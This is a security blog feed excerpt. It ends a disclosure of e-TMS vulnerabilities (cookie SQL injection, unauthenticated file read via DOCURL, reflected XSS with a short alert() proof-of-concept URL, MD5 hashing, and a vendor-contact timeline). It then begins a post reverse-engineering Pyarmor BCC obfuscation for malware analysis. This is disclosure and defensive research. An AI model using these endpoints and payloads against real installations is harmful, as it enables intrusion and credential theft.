  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli5.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli5.png&quot; alt=&quot;Request triggering sql error&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 13: Request triggering sql error.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The cookie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SessionID&lt;/code&gt; seems to be insecurely embedded in a SQL query. Let’s have a look at the source code:&lt;/p&gt;

&lt;figure id=&quot;etms-sqli6&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli6.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli6.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli6.png&quot; alt=&quot;Vulnerable code of CONNECTION.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli6.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli6.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli6.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 14: Vulnerable code of CONNECTION.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The reason is similar to the first SQLi. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;request.cookies(&quot;SessionID&quot;)&lt;/code&gt; is passed directly to the SQL query and not to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ToSqlVarcharQuote&lt;/code&gt; first.&lt;/p&gt;

&lt;h3 id=&quot;unauthenticated-file-read&quot;&gt;Unauthenticated File Read&lt;/h3&gt;

&lt;p&gt;e-TMS has a page (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/asp/DOCSAVEASASP.ASP&lt;/code&gt;) that returns the content of any file in the webroot. No authentication required.&lt;/p&gt;

&lt;figure id=&quot;etms-fileread&quot; class=&quot;figure-posts&quot; style=&quot;width: 90%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-fileread.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-fileread.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-fileread.png&quot; alt=&quot;File read being exploited to read the content of the vulnerable page&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-fileread.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-fileread.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-fileread.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 15: File read being exploited to read the content of a file.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DOCURL&lt;/code&gt; specifies the target file and can be either a query or a body parameter. In particular, the configuration file of e-TMS, which contains SQL and Active Directory credentials, as well as API keys, is a high value target. However, we will not disclose it’s name or path :)&lt;/p&gt;

&lt;h3 id=&quot;reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/h3&gt;

&lt;p&gt;Well, cross-site scripting (XSS) seems to be a big problem. Every page available to unauthenticated users was vulnerable to XSS.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/LOGINFRM.asp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_DJO.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_LXA.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_BET.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_original.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_CAT.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;demo&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;demo2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TNTLOGIN&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UO&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SuppConn&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/lib/asp/alert.asp&lt;/code&gt;: Query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/resetPassword.asp&lt;/code&gt;: Query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/changepassword.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reset&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/TRACK_REQUEST.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forgot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a simple PoC (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp?l=&quot;&amp;gt;&amp;lt;svg/onload=&quot;alert(%27still%20not%20fixed%27)&quot;&amp;gt;&lt;/code&gt;) to illustrate this:&lt;/p&gt;

&lt;figure id=&quot;etms-xss&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-xss.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-xss.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-xss.png&quot; alt=&quot;Exploitation of one of the XSS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-xss.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-xss.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-xss.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 17: Exploitation of one of the XSS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing (md5)&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;#unauthenticated-sql-injection&quot;&gt;Unauthenticated SQL Injection&lt;/a&gt; was exploited to dump the user table. This revealed that the passwords were simply hashed using the insecure md5 hashing algorithm. Thus, most of the passwords could be cracked without any effort. Let’s take a look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypt&lt;/code&gt; function:&lt;/p&gt;

&lt;figure id=&quot;etms-md5&quot; class=&quot;figure-posts&quot; style=&quot;width: 90%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-md5.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-md5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-md5.png&quot; alt=&quot;Code of the encrypt function&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-md5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-md5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-md5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 18: Code of the encrypt function (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;While e-TMS seems to support both MD5 and SHA256 as hashing algorithms, the SHA256 case cannot be reached because it is hardcoded to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MD5&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-06&lt;/td&gt;
      &lt;td&gt;Start of the external penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-13&lt;/td&gt;
      &lt;td&gt;Reported RCEs and SQLis to our client&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-16&lt;/td&gt;
      &lt;td&gt;End of the external penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-17&lt;/td&gt;
      &lt;td&gt;Attempt #1 to contact the vendor - no response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-27&lt;/td&gt;
      &lt;td&gt;Delivered the penetration test report to our client&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-27&lt;/td&gt;
      &lt;td&gt;Attempt #2 to contact the vendor - no response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-02-26&lt;/td&gt;
      &lt;td&gt;Requested CVEs with INCIBE as CNA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-04-25&lt;/td&gt;
      &lt;td&gt;Asked INCIBE for a status update - the vendor did not respond to them&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-09-19&lt;/td&gt;
      &lt;td&gt;CVEs were published&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

</description>
        <pubDate>Fri, 19 Sep 2025 12:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Notes on Pyarmor BCC Mode</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;Throughout the last month, it has been brought to our attention by multiple parties that threat actors have increasingly started using BCC mode for protecting their Python scripts.&lt;/p&gt;

&lt;p&gt;Dashingsoft, the company behind Pyarmor, describes BCC mode as follows on their homepage:&lt;/p&gt;
&lt;blockquote&gt;
Converts some Python functions to C functions and compiles them into machine instructions using high optimization options for irreversible obfuscation.
&lt;/blockquote&gt;

&lt;p&gt;We assume BCC is short for something akin to “Bytecode to C Compilation”.&lt;/p&gt;

&lt;p&gt;From the sound of it, this does not bode well.
In today’s post, we’ll delve into this form of obfuscation and see what can be done to get some insight into the protected code for the purpose of malware analysis.&lt;/p&gt;

&lt;h1 id=&quot;enter-bcc&quot;&gt;Enter BCC&lt;/h1&gt;

&lt;p&gt;The first question is: Where can we even find the functions that have been compiled to native code?
It turns out, the tooling we developed as part of the &lt;a href=&quot;/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;last blog post&lt;/a&gt; already dumped it - albeit by accident.
Some users of the script were confused that they weren’t able to unmarshal any Python data after initially decrypting the Pyarmor blob, because… well, see for yourself.&lt;/p&gt;

&lt;figure id=&quot;bcc_elf&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/05/bcc_elf.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/05/bcc_elf.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/05/bcc_elf.png&quot; alt=&quot;Screenshot of a hex dump showing an ELF file at offset 0x10&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/05/bcc_elf.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/05/bcc_elf.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/05/bcc_elf.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 1: That&apos;s not marshaled Python data!&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Seeing an ELF (Executable and Linkable Format) file here is quite unusual, especially since the malware in question is targeting Windows.
However, that’s not the only unusual thing: The ELF structure is quite malformed and IDA, for example, refuses to load the file because it can’t make heads or tails of the headers.
Our suspicion is that Pyarmor produces an ELF object during its compilation process and then heavily customizes the header for its own purposes.&lt;/p&gt;

&lt;p&gt;At runtime, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualAlloc&lt;/code&gt; is used to allocate a single area of memory with RWX permissions that the entire ELF is written into.
The Pyarmor runtime then performs some computations to retrieve the following information from the header:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A pointer to a function table, describing which functions are present in the binary and where they begin. Located at 0x160 in Figure 1.&lt;/li&gt;
  &lt;li&gt;An offset where the Pyarmor runtime should place a pointer to an “interface” object that allows the BCC code to interact with the outside world. Located at 0xE0 in Figure 1.&lt;/li&gt;
&lt;/ul&gt;

&lt;figure id=&quot;bcc_funcs&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/05/bcc_funcs.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/05/bcc_funcs.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/05/bcc_funcs.png&quot; alt=&quot;Screenshot of BCC function table in the binary&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/05/bcc_funcs.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/05/bcc_funcs.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/05/bcc_funcs.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 2: Function table in the ELF&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;As can be seen in Figure 2, each table entry consists of 4 qwords: A pointer to the null-terminated function name (not very expressive; it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_&lt;/code&gt; followed by the line number in the original script), a pointer to the function itself, and two values that are always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; here.
This happens to be a perfect match for the &lt;a href=&quot;https://docs.python.org/3/c-api/structures.html#c.PyMethodDef&quot;&gt;PyMethodDef struct&lt;/a&gt;.
The value denoted as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; is the method flags, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;METH_VARARGS&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; is for the function docstring pointer, which Pyarmor has no reason to supply.&lt;/p&gt;

&lt;h2 id=&quot;how-are-bcc-functions-called&quot;&gt;How are BCC functions called?&lt;/h2&gt;

&lt;p&gt;So far, we’ve dumped the BCC ELF file. Where is the Python module that we expected in the first place, which should contain bytecode that calls the BCC parts in some fashion?&lt;/p&gt;

&lt;p&gt;It turns out there are two encrypted Pyarmor blobs in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bytes&lt;/code&gt;-string  passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; when BCC mode is used.
The first is the ELF, the second one the compiled Python module.
We adjusted our tooling so that it is aware of this situation and saves both.&lt;/p&gt;

&lt;p&gt;The disassembly of a BCC stub function looks like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Disassembly&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x73c1cb604ab0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen main&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
 &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_FAST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__assert_bcc__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__pyarmor_bcc_54438__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRECALL&lt;/span&gt;                  &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL&lt;/span&gt;                     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s nothing spectacular going on here - it assigns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__assert_bcc__&lt;/code&gt; variable and then does a call.
The call is on a string constant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor_bcc_54438__&lt;/code&gt; - we’d expect it to go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_41&lt;/code&gt; in the ELF.
How do the two relate?&lt;/p&gt;

&lt;p&gt;If you remember our &lt;a href=&quot;/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;previous blog post&lt;/a&gt; on Pyarmor, you may remember we encountered some extra data in code objects marshaled by Pyarmor.
At the time we ignored it and didn’t do a deeper analysis, because it didn’t really matter for our purposes.
That has changed now.
We figured out that it’s essentially a mapping that describes how to patch the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; of the code object being loaded.
The patches inject native function references.&lt;/p&gt;

&lt;p&gt;There are multiple types of patches, the most important ones are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Replace constant with reference to one of three Pyarmor runtime functions: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ASSERT_ARMORED&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ENTER_CO_OBJECT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_LEAVE_CO_OBJECT&lt;/code&gt;. In the example above, this happens for constant index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, which is specified as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt;. The patch data dictates that it gets overwritten with a reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ASSERT_ARMORED&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Replace constant with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyCMethod&lt;/code&gt; that references a definition in the BCC function table. This happens for constant index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; in the example. The patch data maps it to BCC table index 0, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_41&lt;/code&gt; as expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The previous contents of the constant are ignored - as far as we understand, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor_bcc_54438__&lt;/code&gt; string may as well have been &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt; without breaking anything.&lt;/p&gt;

&lt;p&gt;All in all, this nifty injection/replacement logic enables everything to work together seamlessly, without requiring further trickery such as intercepting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALL&lt;/code&gt; instructions in the bytecode.&lt;/p&gt;

&lt;p&gt;We’ve expanded our tool repository with a new &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling/blob/main/bcc_info.py&quot;&gt;bcc_info.py&lt;/a&gt; script that parses the data and prints the mappings, among other things.&lt;/p&gt;

&lt;h2 id=&quot;interactions-between-bcc-code-pyarmor-and-python&quot;&gt;Interactions between BCC code, Pyarmor, and Python&lt;/h2&gt;

&lt;p&gt;The native code does not exist in a vacuum, or in other words, it’s not at all self-contained.
It needs to have frequent interactions with the Python interpreter for tasks such as retrieving object attributes and calling other functions.
This also goes for calling other BCC functions: they aren’t called directly - instead, it takes the roundtrip through the interpreter.&lt;/p&gt;

&lt;p&gt;Another interesting topic is math.
Consider the following Python expression: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(100000000000 + 300000000000) ** 2&lt;/code&gt;.
While the addition would work with a standard C &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; operator (given that 64-bit integer types are used), an exponentiation operator is not directly available, and the final result is so large that it would require using a library for working with big numbers.
Pyarmor thus cannot translate any numeric operation directly into native code.
The numbers stay wrapped into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyNumber&lt;/code&gt; objects, just as they would during “normal” script execution, and the native code needs to call into the Python interpreter to perform any kind of operation such as addition, multiplication, and so on.&lt;/p&gt;

&lt;p&gt;All of these interactions are made possible by a special struct that the Pyarmor runtime shares with the BCC code.
It contains mostly function pointers, but also a handful of object references.&lt;/p&gt;

&lt;p&gt;We’ve reverse engineered the most important parts of the structure.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_OPS&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_DELETE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_GET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_RETURN_GLOBALS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SPECIAL_ENTER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* __enter__ */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SPECIAL_EXIT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* __exit__ */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SET_MIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* anything above means Set (pointer value instead of int) */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_ftable&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
